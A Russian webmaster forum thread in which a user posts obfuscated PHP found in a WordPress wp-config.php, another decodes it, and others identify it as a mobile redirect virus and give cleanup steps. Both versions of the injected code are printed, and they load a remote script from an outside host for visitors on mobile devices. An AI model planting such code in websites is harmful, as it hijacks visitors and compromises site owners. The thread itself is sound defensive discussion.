Странный код
Страницы: 1
Странный код
Всем привет. Нашел на одном из сайтов странный код.
Никто не в курсе что это? Нужно нет? Может зверек какой?

if(@preg_match(strtr('/(mpdh|jame|jovo|mybp|mpnp|woh|simb|wpndyws.ce|h2yne|phod|drypd)/p', 'oyiph2a', 'aoyiph2'), $_SERVER['HTTP_USER_AGENT']) && @preg_match(strtr('/(gyygle|iondex|mopl|vk.cym)/p', 'oyiph2a', 'aoyiph2'), $_SERVER['HTTP_REFERER']) && @$_COOKIE['statCounter'] !=1){echo(strtr('<scrpht>vor exhTpme = new Dote();exhTpme.setTpme(exhTpme.getTpme() + 86400000);dycument.cyykpe = "stotCyunter=1; exhpres=" + exhTpme.tyGMTStrpng();</scrpht><scrpht tihe="text/jovoscrpht" src="2tth://brywser-securpti.net/r.h2h?l=2tth%3A%aF%aFbrywser-securpti.net%aF?o=uao4va744315xaw4uaw4a3ma54la­ua66xa13b4a3e4va940354"></scrp­ht>', 'oyiph2a', 'aoyiph2'));}
Заказ статей http://goo.gl/B8qO0y
Думаю, точно зверек. Иначе зачем кодировать код. Вот тот же код, но не кодированный:

Код
if(@preg_match('midp|j2me|java|mobi|mini|wap|symb|windows.ce|phone|ipad|droid'), $_SERVER['HTTP_USER_AGENT']) && @preg_match('google|yandex|mail|vk.com'),
$_SERVER['HTTP_REFERER']) && @$_COOKIE['statCounter'] !=1){
   echo '<script>
         var expTime = new Date();
         expTime.setTime(expTime.getTime() 86400000);
         document.cookie = "statCounter=1;
         expires=" expTime.toGMTString();
      </scrpht>
      <script type="text/javascript" src="http://browser-security.net/r.php?l=http://browser-security.net/?a=u2a4v2744315x2w4u2w423m254l2u266x213b423e4v2940354">';
}
на всякий случай удалил...из конфига....
Судя по верхней строке, бяка для мобильных устройств какая-то...
В чьем коде? моем или kg design?
Цитата
newdrivers пишет:
В чьем коде? моем или kg design?
Код тут один - ваш. Я просто его представил в читаемом виде. Это один и тот же код.
Если данный код был в файле wp-config.php - то это, на 99% вирус.
Он переадресовывает на рекламную страничку.
Цитата
kg design пишет:
Код тут один - ваш. Я просто его представил в читаемом виде. Это один и тот же код.
Ааа...все я понял Вас. Спасибо
Цитата
kg design пишет:
Если данный код был в файле wp-config.php - то это, на 99% вирус.
Да, там и был..и Яша ругался на мобильный редирект.
Цитата
video-freelancer пишет:
Он переадресовывает на рекламную страничку.
Вроде бы, все что мог по закрывал, переделал, обновил, поменял..а он бац...и все равно там...видать раньше был
Попробуйте осуществить данные меры:
01. Проверьте файлы сайта антивирусом. Обновите Wordpress (только не забудьте про бекап сайта и базы перед этим) - при обновлении перезапишутся файлы (но не все, к примеру, просмотрите wp-content  на предмет подозрительного). Таким образом почистим сайт, если вдруг там где-то сидит "генератор" данного кода.
02. Смените пароли от ftp, базы данных, админки сайта и админки хостинга. Таким образом пресечете возможность повторного появления вируса, если он получил доступ к сайту путем кражи пароля.
03. Присмотритесь к плагинам. Иногда попадаются "дырявые".
Должно помочь.
Цитата
kg design пишет:
Попробуйте осуществить данные меры:
01. Проверьте файлы сайта антивирусом. Обновите Wordpress (только не забудьте про бекап сайта и базы перед этим) - при обновлении перезапишутся файлы (но не все, к примеру, просмотритеwp-content на предмет подозрительного). Таким образом почистим сайт, если вдруг там где-то сидит "генератор" данного кода.
02. Смените пароли от ftp, базы данных, админки сайта и админки хостинга. Таким образом пресечете возможность повторного появления вируса, если он получил доступ к сайту путем кражи пароля.
03. Присмотритесь к плагинам. Иногда попадаются "дырявые".
Должно помочь.
Спасибо. Сегодня займусь
Страницы: 1
Похожие темы:
Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)
Новые темыОбъявленияСвободное общение
15:28 LGaming - экосистема и партнерская программа в gambling и betting вертикалях 
21:49 Как правильно покупать ссылки для поддомена? 
18:51 Роскомнадзор отказал в регистрации трети блогеров-десятитысячников 
12:53 где много готовых фавиконок 
22:59 Webvork - международная товарная СРА сеть с сертифицированными офферами на Европу. 
12:32 «Хлебные крошки» в адресе сайтов исчезнут из результатов поиска Google 
23:27 Adfinity - Ваш надежный партнер в монетизации трафика 
15:28 Прием платежей для HIGH RISK | Прием платежей без сайта 
15:25 Рассылка в TELEGRAM |Большой опыт работы | Любые тематики | Лучшая конверсия 
15:12 Услуги рассылки Viber|Whatsapp|IMO. 
14:43 Belurk — высокоскоростные анонимные прокси от 0,24 рублей 
12:45 Прокси IPv6 Россия 
05:16 Просто $0.04/IP 9PROXY.COM Резидентные прокси Неограниченная пропускная способность Уникальная политика замены Без чёрного списка 
01:53 Европейский эквайринг 
08:12 Ням-ням! - 8 деликатесов, которые когда-то ели только бедные люди 
07:48 США готовят закон для уничтожения пиратских сайтов во всех странах мира 
02:50 Точные прогнозы на футбол 
02:10 [Новая партнерка] Goldbet Partners — прямой рекламодатель одноименного казино Goldbet 
21:19 С юмором по жизни! 
18:15 Telegram уничтожил официальный канал легендарного российского торрент-трекера 
18:19 Уникальный сервис SEO продвижения